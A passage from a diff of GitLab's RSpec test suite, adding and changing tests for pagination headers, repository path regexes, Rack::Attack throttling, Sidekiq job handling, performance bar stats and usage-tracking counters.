+ let(:branches) { [branch1, branch2, branch3] }
+
+ it 'keyset pagination is used with offset headers' do
+ allow(request_context).to receive(:request).and_return(fake_request)
+ allow(project.repository).to receive(:branch_count).and_return(branches.size)
+
+ expect(finder).to receive(:execute).with(gitaly_pagination: true).and_return(branches)
+ expect(request_context).to receive(:header).with('X-Per-Page', '2')
+ expect(request_context).to receive(:header).with('X-Page', '1')
+ expect(request_context).to receive(:header).with('X-Next-Page', '2')
+ expect(request_context).to receive(:header).with('X-Prev-Page', '')
+ expect(request_context).to receive(:header).with('Link', kind_of(String))
+ expect(request_context).to receive(:header).with('X-Total', '3')
+ expect(request_context).to receive(:header).with('X-Total-Pages', '2')
+
+ pager.paginate(finder)
+ end
+ end
+
+ context 'when second page is requested' do
+ let(:base_query) { { per_page: 2, page: 2 } }
+
+ it_behaves_like 'offset pagination'
+ end
end
context 'with keyset pagination option' do
let(:query) { base_query.merge(pagination: 'keyset') }
- let(:fake_request) { double(url: "#{incoming_api_projects_url}?#{query.to_query}") }
before do
allow(request_context).to receive(:request).and_return(fake_request)
@@ -75,8 +103,6 @@ RSpec.describe Gitlab::Pagination::GitalyKeysetPager do
end
context 'when next page could be available' do
- let(:branch1) { double 'branch', name: 'branch1' }
- let(:branch2) { double 'branch', name: 'branch2' }
let(:branches) { [branch1, branch2] }
let(:expected_next_page_link) { %Q(<#{incoming_api_projects_url}?#{query.merge(page_token: branch2.name).to_query}>; rel="next") }
@@ -90,7 +116,6 @@ RSpec.describe Gitlab::Pagination::GitalyKeysetPager do
end
context 'when the current page is the last page' do
- let(:branch1) { double 'branch', name: 'branch1' }
let(:branches) { [branch1] }
it 'uses keyset pagination without link headers' do
diff --git a/spec/lib/gitlab/pagination/offset_header_builder_spec.rb b/spec/lib/gitlab/pagination/offset_header_builder_spec.rb
new file mode 100644
index 00000000000..a415bad5135
--- /dev/null
+++ b/spec/lib/gitlab/pagination/offset_header_builder_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+RSpec.describe Gitlab::Pagination::OffsetHeaderBuilder do
+ let(:request) { double(url: 'http://localhost') }
+ let(:request_context) { double(header: nil, params: { per_page: 5 }, request: request) }
+
+ subject do
+ described_class.new(
+ request_context: request_context, per_page: 5, page: 2,
+ next_page: 3, prev_page: 1, total: 10, total_pages: 3
+ )
+ end
+
+ describe '#execute' do
+ let(:basic_links) do
+ %{<http://localhost?page=1&per_page=5>; rel="prev", <http://localhost?page=3&per_page=5>; rel="next", <http://localhost?page=1&per_page=5>; rel="first"}
+ end
+
+ let(:last_link) do
+ %{, <http://localhost?page=3&per_page=5>; rel="last"}
+ end
+
+ def expect_basic_headers
+ expect(request_context).to receive(:header).with('X-Per-Page', '5')
+ expect(request_context).to receive(:header).with('X-Page', '2')
+ expect(request_context).to receive(:header).with('X-Next-Page', '3')
+ expect(request_context).to receive(:header).with('X-Prev-Page', '1')
+ expect(request_context).to receive(:header).with('Link', basic_links + last_link)
+ end
+
+ it 'sets headers to request context' do
+ expect_basic_headers
+ expect(request_context).to receive(:header).with('X-Total', '10')
+ expect(request_context).to receive(:header).with('X-Total-Pages', '3')
+
+ subject.execute
+ end
+
+ context 'exclude total headers' do
+ it 'does not set total headers to request context' do
+ expect_basic_headers
+ expect(request_context).not_to receive(:header)
+
+ subject.execute(exclude_total_headers: true)
+ end
+ end
+
+ context 'pass data without counts' do
+ let(:last_link) { '' }
+
+ it 'does not set total headers to request context' do
+ expect_basic_headers
+ expect(request_context).not_to receive(:header)
+
+ subject.execute(data_without_counts: true)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/path_regex_spec.rb b/spec/lib/gitlab/path_regex_spec.rb
index f320b8a66e8..8e9f7e372c5 100644
--- a/spec/lib/gitlab/path_regex_spec.rb
+++ b/spec/lib/gitlab/path_regex_spec.rb
@@ -433,37 +433,85 @@ RSpec.describe Gitlab::PathRegex do
it { is_expected.not_to match('gitlab.git') }
end
- shared_examples 'invalid snippet routes' do
- it { is_expected.not_to match('gitlab-org/gitlab/snippets/1.git') }
- it { is_expected.not_to match('snippets/1.git') }
- it { is_expected.not_to match('gitlab-org/gitlab/snippets/') }
- it { is_expected.not_to match('/gitlab-org/gitlab/snippets/1') }
- it { is_expected.not_to match('gitlab-org/gitlab/snippets/foo') }
- it { is_expected.not_to match('root/snippets/1') }
- it { is_expected.not_to match('/snippets/1') }
- it { is_expected.not_to match('snippets/') }
- it { is_expected.not_to match('snippets/foo') }
- end
+ context 'repository routes' do
+ # Paths that match a known container
+ let_it_be(:container_paths) do
+ [
+ 'gitlab-org',
+ 'gitlab-org/gitlab-test',
+ 'gitlab-org/gitlab-test/snippets/1',
+ 'gitlab-org/gitlab-test/snippets/foo', # ambiguous, we allow creating a sub-group called 'snippets'
+ 'snippets/1'
+ ]
+ end
+
+ # Paths that never match a container
+ let_it_be(:invalid_paths) do
+ [
+ 'gitlab/',
+ '/gitlab',
+ 'gitlab/foo/',
+ '?gitlab',
+ 'git lab',
+ '/snippets/1',
+ 'snippets/foo',
+ 'gitlab-org/gitlab/snippets/'
+ ]
+ end
+
+ let_it_be(:git_paths) { container_paths.map { |path| path + '.git' } }
+ let_it_be(:snippet_paths) { container_paths.grep(%r{snippets/\d}) }
+ let_it_be(:wiki_git_paths) { (container_paths - snippet_paths).map { |path| path + '.wiki.git' } }
+ let_it_be(:invalid_git_paths) { invalid_paths.map { |path| path + '.git' } }
+
+ def expect_route_match(paths)
+ paths.each { |path| is_expected.to match(path) }
+ end
+
+ def expect_no_route_match(paths)
+ paths.each { |path| is_expected.not_to match(path) }
+ end
+
+ describe '.repository_route_regex' do
+ subject { %r{\A#{described_class.repository_route_regex}\z} }
+
+ it 'matches the expected paths' do
+ expect_route_match(container_paths)
+ expect_no_route_match(invalid_paths + git_paths)
+ end
+ end
- describe '.full_snippets_repository_path_regex' do
- subject { described_class.full_snippets_repository_path_regex }
+ describe '.repository_git_route_regex' do
+ subject { %r{\A#{described_class.repository_git_route_regex}\z} }
- it { is_expected.to match('gitlab-org/gitlab/snippets/1') }
- it { is_expected.to match('snippets/1') }
+ it 'matches the expected paths' do
+ expect_route_match(git_paths + wiki_git_paths)
+ expect_no_route_match(container_paths + invalid_paths + invalid_git_paths)
+ end
+ end
- it_behaves_like 'invalid snippet routes'
- end
+ describe '.repository_wiki_git_route_regex' do
+ subject { %r{\A#{described_class.repository_wiki_git_route_regex}\z} }
- describe '.personal_and_project_snippets_path_regex' do
- subject { %r{\A#{described_class.personal_and_project_snippets_path_regex}\z} }
+ it 'matches the expected paths' do
+ expect_route_match(wiki_git_paths)
+ expect_no_route_match(git_paths + invalid_git_paths)
+ end
- it { is_expected.to match('gitlab-org/gitlab/snippets') }
- it { is_expected.to match('snippets') }
+ it { is_expected.not_to match('snippets/1.wiki.git') }
+ end
- it { is_expected.not_to match('gitlab-org/gitlab/snippets/1') }
- it { is_expected.not_to match('snippets/1') }
+ describe '.full_snippets_repository_path_regex' do
+ subject { described_class.full_snippets_repository_path_regex }
- it_behaves_like 'invalid snippet routes'
+ it 'matches the expected paths' do
+ expect_route_match(snippet_paths)
+ expect_no_route_match(container_paths - snippet_paths + git_paths + invalid_paths)
+ end
+
+ it { is_expected.not_to match('root/snippets/1') }
+ it { is_expected.not_to match('gitlab-org/gitlab-test/snippets/foo') }
+ end
end
describe '.container_image_regex' do
diff --git a/spec/lib/gitlab/performance_bar/redis_adapter_when_peek_enabled_spec.rb b/spec/lib/gitlab/performance_bar/redis_adapter_when_peek_enabled_spec.rb
new file mode 100644
index 00000000000..bbc8b0d67e0
--- /dev/null
+++ b/spec/lib/gitlab/performance_bar/redis_adapter_when_peek_enabled_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::PerformanceBar::RedisAdapterWhenPeekEnabled do
+ include ExclusiveLeaseHelpers
+
+ let(:peek_adapter) do
+ Class.new do
+ prepend Gitlab::PerformanceBar::RedisAdapterWhenPeekEnabled
+
+ def initialize(client)
+ @client = client
+ end
+
+ def save(id)
+ # no-op
+ end
+ end
+ end
+
+ describe '#save' do
+ let(:client) { double }
+ let(:uuid) { 'foo' }
+
+ before do
+ allow(Gitlab::PerformanceBar).to receive(:enabled_for_request?).and_return(true)
+ end
+
+ it 'stores request id and enqueues stats job' do
+ expect_to_obtain_exclusive_lease(GitlabPerformanceBarStatsWorker::LEASE_KEY, uuid)
+ expect(GitlabPerformanceBarStatsWorker).to receive(:perform_in).with(GitlabPerformanceBarStatsWorker::WORKER_DELAY, uuid)
+ expect(client).to receive(:sadd).with(GitlabPerformanceBarStatsWorker::STATS_KEY, uuid)
+
+ peek_adapter.new(client).save('foo')
+ end
+
+ context 'when performance_bar_stats is disabled' do
+ before do
+ stub_feature_flags(performance_bar_stats: false)
+ end
+
+ it 'ignores stats processing for the request' do
+ expect(GitlabPerformanceBarStatsWorker).not_to receive(:perform_in)
+ expect(client).not_to receive(:sadd)
+
+ peek_adapter.new(client).save('foo')
+ end
+ end
+
+ context 'when exclusive lease has been already taken' do
+ before do
+ stub_exclusive_lease_taken(GitlabPerformanceBarStatsWorker::LEASE_KEY)
+ end
+
+ it 'stores request id but does not enqueue any job' do
+ expect(GitlabPerformanceBarStatsWorker).not_to receive(:perform_in)
+ expect(client).to receive(:sadd).with(GitlabPerformanceBarStatsWorker::STATS_KEY, uuid)
+
+ peek_adapter.new(client).save('foo')
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/performance_bar/stats_spec.rb b/spec/lib/gitlab/performance_bar/stats_spec.rb
new file mode 100644
index 00000000000..c34c6f7b31f
--- /dev/null
+++ b/spec/lib/gitlab/performance_bar/stats_spec.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::PerformanceBar::Stats do
+ describe '#process' do
+ let(:request) { fixture_file('lib/gitlab/performance_bar/peek_data.json') }
+ let(:redis) { double(Gitlab::Redis::SharedState) }
+ let(:logger) { double(Gitlab::PerformanceBar::Logger) }
+ let(:request_id) { 'foo' }
+ let(:stats) { described_class.new(redis) }
+
+ describe '#process' do
+ subject(:process) { stats.process(request_id) }
+
+ before do
+ allow(stats).to receive(:logger).and_return(logger)
+ end
+
+ it 'logs each SQL query including its duration' do
+ allow(redis).to receive(:get).and_return(request)
+
+ expect(logger).to receive(:info)
+ .with({ duration_ms: 1.096, filename: 'lib/gitlab/pagination/offset_pagination.rb',
+ filenum: 53, method: 'add_pagination_headers', request_id: 'foo', type: :sql })
+ expect(logger).to receive(:info)
+ .with({ duration_ms: 0.817, filename: 'lib/api/helpers.rb',
+ filenum: 112, method: 'find_project', request_id: 'foo', type: :sql }).twice
+
+ subject
+ end
+
+ it 'logs an error when the request could not be processed' do
+ allow(redis).to receive(:get).and_return(nil)
+
+ expect(logger).to receive(:error).with(message: anything)
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/rack_attack/user_allowlist_spec.rb b/spec/lib/gitlab/rack_attack/user_allowlist_spec.rb
new file mode 100644
index 00000000000..aa604dfab71
--- /dev/null
+++ b/spec/lib/gitlab/rack_attack/user_allowlist_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::RackAttack::UserAllowlist do
+ using RSpec::Parameterized::TableSyntax
+
+ subject { described_class.new(input)}
+
+ where(:input, :elements) do
+ nil | []
+ '' | []
+ '123' | [123]
+ '123,456' | [123, 456]
+ '123,foobar, 456,' | [123, 456]
+ end
+
+ with_them do
+ it 'has the expected elements' do
+ expect(subject).to contain_exactly(*elements)
+ end
+
+ it 'implements empty?' do
+ expect(subject.empty?).to eq(elements.empty?)
+ end
+
+ it 'implements include?' do
+ unless elements.empty?
+ expect(subject).to include(elements.first)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/rack_attack_spec.rb b/spec/lib/gitlab/rack_attack_spec.rb
new file mode 100644
index 00000000000..d72863b0103
--- /dev/null
+++ b/spec/lib/gitlab/rack_attack_spec.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::RackAttack, :aggregate_failures do
+ describe '.configure' do
+ let(:fake_rack_attack) { class_double("Rack::Attack") }
+ let(:fake_rack_attack_request) { class_double("Rack::Attack::Request") }
+
+ let(:throttles) do
+ {
+ throttle_unauthenticated: Gitlab::Throttle.unauthenticated_options,
+ throttle_authenticated_api: Gitlab::Throttle.authenticated_api_options,
+ throttle_product_analytics_collector: { limit: 100, period: 60 },
+ throttle_unauthenticated_protected_paths: Gitlab::Throttle.unauthenticated_options,
+ throttle_authenticated_protected_paths_api: Gitlab::Throttle.authenticated_api_options,
+ throttle_authenticated_protected_paths_web: Gitlab::Throttle.authenticated_web_options
+ }
+ end
+
+ before do
+ stub_const("Rack::Attack", fake_rack_attack)
+ stub_const("Rack::Attack::Request", fake_rack_attack_request)
+
+ # Expect rather than just allow, because this is actually fairly important functionality
+ expect(fake_rack_attack).to receive(:throttled_response_retry_after_header=).with(true)
+ allow(fake_rack_attack).to receive(:throttle)
+ allow(fake_rack_attack).to receive(:track)
+ allow(fake_rack_attack).to receive(:safelist)
+ allow(fake_rack_attack).to receive(:blocklist)
+ end
+
+ it 'extends the request class' do
+ described_class.configure(fake_rack_attack)
+
+ expect(fake_rack_attack_request).to include(described_class::Request)
+ end
+
+ it 'configures the safelist' do
+ described_class.configure(fake_rack_attack)
+
+ expect(fake_rack_attack).to have_received(:safelist).with('throttle_bypass_header')
+ end
+
+ it 'configures throttles if no dry-run was configured' do
+ described_class.configure(fake_rack_attack)
+
+ throttles.each do |throttle, options|
+ expect(fake_rack_attack).to have_received(:throttle).with(throttle.to_s, options)
+ end
+ end
+
+ it 'configures tracks if dry-run was configured for all throttles' do
+ stub_env('GITLAB_THROTTLE_DRY_RUN', '*')
+
+ described_class.configure(fake_rack_attack)
+
+ throttles.each do |throttle, options|
+ expect(fake_rack_attack).to have_received(:track).with(throttle.to_s, options)
+ end
+ expect(fake_rack_attack).not_to have_received(:throttle)
+ end
+
+ it 'configures tracks and throttles with a selected set of dry-runs' do
+ dry_run_throttles = throttles.each_key.first(2)
+ regular_throttles = throttles.keys[2..-1]
+ stub_env('GITLAB_THROTTLE_DRY_RUN', dry_run_throttles.join(','))
+
+ described_class.configure(fake_rack_attack)
+
+ dry_run_throttles.each do |throttle|
+ expect(fake_rack_attack).to have_received(:track).with(throttle.to_s, throttles[throttle])
+ end
+ regular_throttles.each do |throttle|
+ expect(fake_rack_attack).to have_received(:throttle).with(throttle.to_s, throttles[throttle])
+ end
+ end
+
+ context 'user allowlist' do
+ subject { described_class.user_allowlist }
+
+ it 'is empty' do
+ described_class.configure(fake_rack_attack)
+
+ expect(subject).to be_empty
+ end
+
+ it 'reflects GITLAB_THROTTLE_USER_ALLOWLIST' do
+ stub_env('GITLAB_THROTTLE_USER_ALLOWLIST', '123,456')
+ described_class.configure(fake_rack_attack)
+
+ expect(subject).to contain_exactly(123, 456)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/sample_data_template_spec.rb b/spec/lib/gitlab/sample_data_template_spec.rb
index 7d0d415b3af..09ca41fcfc2 100644
--- a/spec/lib/gitlab/sample_data_template_spec.rb
+++ b/spec/lib/gitlab/sample_data_template_spec.rb
@@ -6,8 +6,7 @@ RSpec.describe Gitlab::SampleDataTemplate do
describe '.all' do
it 'returns all templates' do
expected = %w[
- basic
- serenity_valley
+ sample
]
expect(described_class.all).to be_an(Array)
@@ -19,7 +18,7 @@ RSpec.describe Gitlab::SampleDataTemplate do
subject { described_class.find(query) }
context 'when there is a match' do
- let(:query) { :basic }
+ let(:query) { :sample }
it { is_expected.to be_a(described_class) }
end
diff --git a/spec/lib/gitlab/setup_helper/workhorse_spec.rb b/spec/lib/gitlab/setup_helper/workhorse_spec.rb
new file mode 100644
index 00000000000..aa9b4595799
--- /dev/null
+++ b/spec/lib/gitlab/setup_helper/workhorse_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::SetupHelper::Workhorse do
+ describe '.make' do
+ subject { described_class.make }
+
+ context 'when there is a gmake' do
+ it 'returns gmake' do
+ expect(Gitlab::Popen).to receive(:popen).with(%w[which gmake]).and_return(['/usr/bin/gmake', 0])
+
+ expect(subject).to eq 'gmake'
+ end
+ end
+
+ context 'when there is no gmake' do
+ it 'returns make' do
+ expect(Gitlab::Popen).to receive(:popen).with(%w[which gmake]).and_return(['', 1])
+
+ expect(subject).to eq 'make'
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/sidekiq_cluster_spec.rb b/spec/lib/gitlab/sidekiq_cluster_spec.rb
index 5517abe1010..3c6ea054968 100644
--- a/spec/lib/gitlab/sidekiq_cluster_spec.rb
+++ b/spec/lib/gitlab/sidekiq_cluster_spec.rb
@@ -123,6 +123,14 @@ RSpec.describe Gitlab::SidekiqCluster do
end
end
+ describe '.count_by_queue' do
+ it 'tallies the queue counts' do
+ queues = [%w(foo), %w(bar baz), %w(foo)]
+
+ expect(described_class.count_by_queue(queues)).to eq(%w(foo) => 2, %w(bar baz) => 1)
+ end
+ end
+
describe '.concurrency' do
using RSpec::Parameterized::TableSyntax
diff --git a/spec/lib/gitlab/sidekiq_death_handler_spec.rb b/spec/lib/gitlab/sidekiq_death_handler_spec.rb
new file mode 100644
index 00000000000..96fef88de4e
--- /dev/null
+++ b/spec/lib/gitlab/sidekiq_death_handler_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::SidekiqDeathHandler, :clean_gitlab_redis_queues do
+ describe '.handler' do
+ context 'when the job class has worker attributes' do
+ let(:test_worker) do
+ Class.new do
+ include WorkerAttributes
+
+ urgency :low
+ worker_has_external_dependencies!
+ worker_resource_boundary :cpu
+ feature_category :users
+ end
+ end
+
+ before do
+ stub_const('TestWorker', test_worker)
+ end
+
+ it 'uses the attributes from the worker' do
+ expect(described_class.counter)
+ .to receive(:increment)
+ .with(queue: 'test_queue', worker: 'TestWorker',
+ urgency: 'low', external_dependencies: 'yes',
+ feature_category: 'users', boundary: 'cpu')
+
+ described_class.handler({ 'class' => 'TestWorker', 'queue' => 'test_queue' }, nil)
+ end
+ end
+
+ context 'when the job class does not have worker attributes' do
+ before do
+ stub_const('TestWorker', Class.new)
+ end
+
+ it 'uses blank attributes' do
+ expect(described_class.counter)
+ .to receive(:increment)
+ .with(queue: 'test_queue', worker: 'TestWorker',
+ urgency: '', external_dependencies: 'no',
+ feature_category: '', boundary: '')
+
+ described_class.handler({ 'class' => 'TestWorker', 'queue' => 'test_queue' }, nil)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb
index 8ef61d4eae9..0285467ecab 100644
--- a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb
@@ -131,31 +131,6 @@ RSpec.describe Gitlab::SidekiqMiddleware::DuplicateJobs::DuplicateJob, :clean_gi
end
end
- describe '#droppable?' do
- where(:idempotent, :prevent_deduplication) do
- # [true, false].repeated_permutation(2)
- [[true, true],
- [true, false],
- [false, true],
- [false, false]]
- end
-
- with_them do
- before do
- allow(AuthorizedProjectsWorker).to receive(:idempotent?).and_return(idempotent)
- stub_feature_flags("disable_#{queue}_deduplication" => prevent_deduplication)
- end
-
- it 'is droppable when all conditions are met' do
- if idempotent && !prevent_deduplication
- expect(duplicate_job).to be_droppable
- else
- expect(duplicate_job).not_to be_droppable
- end
- end
- end
- end
-
describe '#scheduled_at' do
let(:scheduled_at) { 42 }
let(:job) do
@@ -181,6 +156,46 @@ RSpec.describe Gitlab::SidekiqMiddleware::DuplicateJobs::DuplicateJob, :clean_gi
end
end
+ describe '#idempotent?' do
+ context 'when worker class does not exist' do
+ let(:job) { { 'class' => '' } }
+
+ it 'returns false' do
+ expect(duplicate_job).not_to be_idempotent
+ end
+ end
+
+ context 'when worker class does not respond to #idempotent?' do
+ before do
+ stub_const('AuthorizedProjectsWorker', Class.new)
+ end
+
+ it 'returns false' do
+ expect(duplicate_job).not_to be_idempotent
+ end
+ end
+
+ context 'when worker class is not idempotent' do
+ before do
+ allow(AuthorizedProjectsWorker).to receive(:idempotent?).and_return(false)
+ end
+
+ it 'returns false' do
+ expect(duplicate_job).not_to be_idempotent
+ end
+ end
+
+ context 'when worker class is idempotent' do
+ before do
+ allow(AuthorizedProjectsWorker).to receive(:idempotent?).and_return(true)
+ end
+
+ it 'returns true' do
+ expect(duplicate_job).to be_idempotent
+ end
+ end
+ end
+
def set_idempotency_key(key, value = '1')
Sidekiq.redis { |r| r.set(key, value) }
end
diff --git a/spec/lib/gitlab/tracking/destinations/product_analytics_spec.rb b/spec/lib/gitlab/tracking/destinations/product_analytics_spec.rb
new file mode 100644
index 00000000000..63e2e930acd
--- /dev/null
+++ b/spec/lib/gitlab/tracking/destinations/product_analytics_spec.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Tracking::Destinations::ProductAnalytics do
+ let(:emitter) { SnowplowTracker::Emitter.new('localhost', buffer_size: 1) }
+ let(:tracker) { SnowplowTracker::Tracker.new(emitter, SnowplowTracker::Subject.new, 'namespace', 'app_id') }
+
+ describe '#event' do
+ shared_examples 'does not send an event' do
+ it 'does not send an event' do
+ expect_any_instance_of(SnowplowTracker::Tracker).not_to receive(:track_struct_event)
+
+ subject.event(allowed_category, allowed_action)
+ end
+ end
+
+ let(:allowed_category) { 'epics' }
+ let(:allowed_action) { 'promote' }
+ let(:self_monitoring_project) { create(:project) }
+
+ before do
+ stub_feature_flags(product_analytics_tracking: true)
+ stub_application_setting(self_monitoring_project_id: self_monitoring_project.id)
+ stub_application_setting(usage_ping_enabled: true)
+ end
+
+ context 'with allowed event' do
+ it 'sends an event to Product Analytics snowplow collector' do
+ expect(SnowplowTracker::AsyncEmitter)
+ .to receive(:new)
+ .with(ProductAnalytics::Tracker::COLLECTOR_URL, protocol: Gitlab.config.gitlab.protocol)
+ .and_return(emitter)
+
+ expect(SnowplowTracker::Tracker)
+ .to receive(:new)
+ .with(emitter, an_instance_of(SnowplowTracker::Subject), Gitlab::Tracking::SNOWPLOW_NAMESPACE, self_monitoring_project.id.to_s)
+ .and_return(tracker)
+
+ freeze_time do
+ expect(tracker)
+ .to receive(:track_struct_event)
+ .with(allowed_category, allowed_action, 'label', 'property', 1.5, nil, (Time.now.to_f * 1000).to_i)
+
+ subject.event(allowed_category, allowed_action, label: 'label', property: 'property', value: 1.5)
+ end
+ end
+ end
+
+ context 'with non-allowed event' do
+ it 'does not send an event' do
+ expect_any_instance_of(SnowplowTracker::Tracker).not_to receive(:track_struct_event)
+
+ subject.event('category', 'action')
+ subject.event(allowed_category, 'action')
+ subject.event('category', allowed_action)
+ end
+ end
+
+ context 'when self-monitoring project does not exist' do
+ before do
+ stub_application_setting(self_monitoring_project_id: nil)
+ end
+
+ include_examples 'does not send an event'
+ end
+
+ context 'when product_analytics_tracking FF is disabled' do
+ before do
+ stub_feature_flags(product_analytics_tracking: false)
+ end
+
+ include_examples 'does not send an event'
+ end
+
+ context 'when usage ping is disabled' do
+ before do
+ stub_application_setting(usage_ping_enabled: false)
+ end
+
+ include_examples 'does not send an event'
+ end
+ end
+end
diff --git a/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb b/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
index ee63eb6de04..0e8647ad78a 100644
--- a/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
+++ b/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
@@ -46,7 +46,7 @@ RSpec.describe Gitlab::Tracking::Destinations::Snowplow do
it 'sends event to tracker' do
allow(tracker).to receive(:track_self_describing_event).and_call_original
- subject.self_describing_event('iglu:com.gitlab/foo/jsonschema/1-0-0', foo: 'bar')
+ subject.self_describing_event('iglu:com.gitlab/foo/jsonschema/1-0-0', data: { foo: 'bar' })
expect(tracker).to have_received(:track_self_describing_event) do |event, context, timestamp|
expect(event.to_json[:schema]).to eq('iglu:com.gitlab/foo/jsonschema/1-0-0')
@@ -71,7 +71,7 @@ RSpec.describe Gitlab::Tracking::Destinations::Snowplow do
it 'does not send event to tracker' do
expect_any_instance_of(SnowplowTracker::Tracker).not_to receive(:track_self_describing_event)
- subject.self_describing_event('iglu:com.gitlab/foo/jsonschema/1-0-0', foo: 'bar')
+ subject.self_describing_event('iglu:com.gitlab/foo/jsonschema/1-0-0', data: { foo: 'bar' })
end
end
end
diff --git a/spec/lib/gitlab/tracking_spec.rb b/spec/lib/gitlab/tracking_spec.rb
index 805bd92fd43..57882de0974 100644
--- a/spec/lib/gitlab/tracking_spec.rb
+++ b/spec/lib/gitlab/tracking_spec.rb
@@ -36,6 +36,11 @@ RSpec.describe Gitlab::Tracking do
end
describe '.event' do
+ before do
+ allow_any_instance_of(Gitlab::Tracking::Destinations::Snowplow).to receive(:event)
+ allow_any_instance_of(Gitlab::Tracking::Destinations::ProductAnalytics).to receive(:event)
+ end
+
it 'delegates to snowplow destination' do
expect_any_instance_of(Gitlab::Tracking::Destinations::Snowplow)
.to receive(:event)
@@ -43,15 +48,23 @@ RSpec.describe Gitlab::Tracking do
described_class.event('category', 'action', label: 'label', property: 'property', value: 1.5)
end
+
+ it 'delegates to ProductAnalytics destination' do
+ expect_any_instance_of(Gitlab::Tracking::Destinations::ProductAnalytics)
+ .to receive(:event)
+ .with('category', 'action', label: 'label', property: 'property', value: 1.5, context: nil)
+
+ described_class.event('category', 'action', label: 'label', property: 'property', value: 1.5)
+ end
end
describe '.self_describing_event' do
it 'delegates to snowplow destination' do
expect_any_instance_of(Gitlab::Tracking::Destinations::Snowplow)
.to receive(:self_describing_event)
- .with('iglu:com.gitlab/foo/jsonschema/1-0-0', { foo: 'bar' }, context: nil)
+ .with('iglu:com.gitlab/foo/jsonschema/1-0-0', data: { foo: 'bar' }, context: nil)
- described_class.self_describing_event('iglu:com.gitlab/foo/jsonschema/1-0-0', foo: 'bar')
+ described_class.self_describing_event('iglu:com.gitlab/foo/jsonschema/1-0-0', data: { foo: 'bar' })
end
end
end
diff --git a/spec/lib/gitlab/usage_data_counters/aggregated_metrics_spec.rb b/spec/lib/gitlab/usage_data_counters/aggregated_metrics_spec.rb
index e9fb5346eae..c0deb2aa00c 100644
--- a/spec/lib/gitlab/usage_data_counters/aggregated_metrics_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/aggregated_metrics_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe 'aggregated metrics' do
Gitlab::UsageDataCounters::HLLRedisCounter.known_event?(event)
end
- failure_message do
+ failure_message do |event|
"Event with name: `#{event}` can not be found within `#{Gitlab::UsageDataCounters::HLLRedisCounter::KNOWN_EVENTS_PATH}`"
end
end
diff --git a/spec/lib/gitlab/usage_data_counters/base_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/base_counter_spec.rb
new file mode 100644
index 00000000000..4a31191d75f
--- /dev/null
+++ b/spec/lib/gitlab/usage_data_counters/base_counter_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UsageDataCounters::BaseCounter do
+ describe '.fetch_supported_event' do
+ subject { described_class.fetch_supported_event(event_name) }
+
+ let(:event_name) { 'generic_event' }
+ let(:prefix) { 'generic' }
+ let(:known_events) { %w[event another_event] }
+
+ before do
+ allow(described_class).to receive(:prefix) { prefix }
+ allow(described_class).to receive(:known_events) { known_events }
+ end
+
+ it 'returns the matching event' do
+ is_expected.to eq 'event'
+ end
+
+ context 'when event is unknown' do
+ let(:event_name) { 'generic_unknown_event' }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'when prefix does not match the event name' do
+ let(:prefix) { 'special' }
+
+ it { is_expected.to be_nil }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_counters/editor_unique_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/editor_unique_counter_spec.rb
index f2c1d8718d7..82db3d94493 100644
--- a/spec/lib/gitlab/usage_data_counters/editor_unique_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/editor_unique_counter_spec.rb
@@ -74,7 +74,19 @@ RSpec.describe Gitlab::UsageDataCounters::EditorUniqueCounter, :clean_gitlab_red
end
end
- it 'can return the count of actions per user deduplicated ' do
+ context 'for SSE edit actions' do
+ it_behaves_like 'tracks and counts action' do
+ def track_action(params)
+ described_class.track_sse_edit_action(**params)
+ end
+
+ def count_unique(params)
+ described_class.count_sse_edit_actions(**params)
+ end
+ end
+ end
+
+ it 'can return the count of actions per user deduplicated' do
described_class.track_web_ide_edit_action(author: user1)
described_class.track_snippet_editor_edit_action(author: user1)
described_class.track_sfe_edit_action(author: user1)
diff --git a/spec/lib/gitlab/usage_data_counters/guest_package_event_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/guest_package_event_counter_spec.rb
new file mode 100644
index 00000000000..d018100b041
--- /dev/null
+++ b/spec/lib/gitlab/usage_data_counters/guest_package_event_counter_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UsageDataCounters::GuestPackageEventCounter, :clean_gitlab_redis_shared_state do
+ shared_examples_for 'usage counter with totals' do |counter|
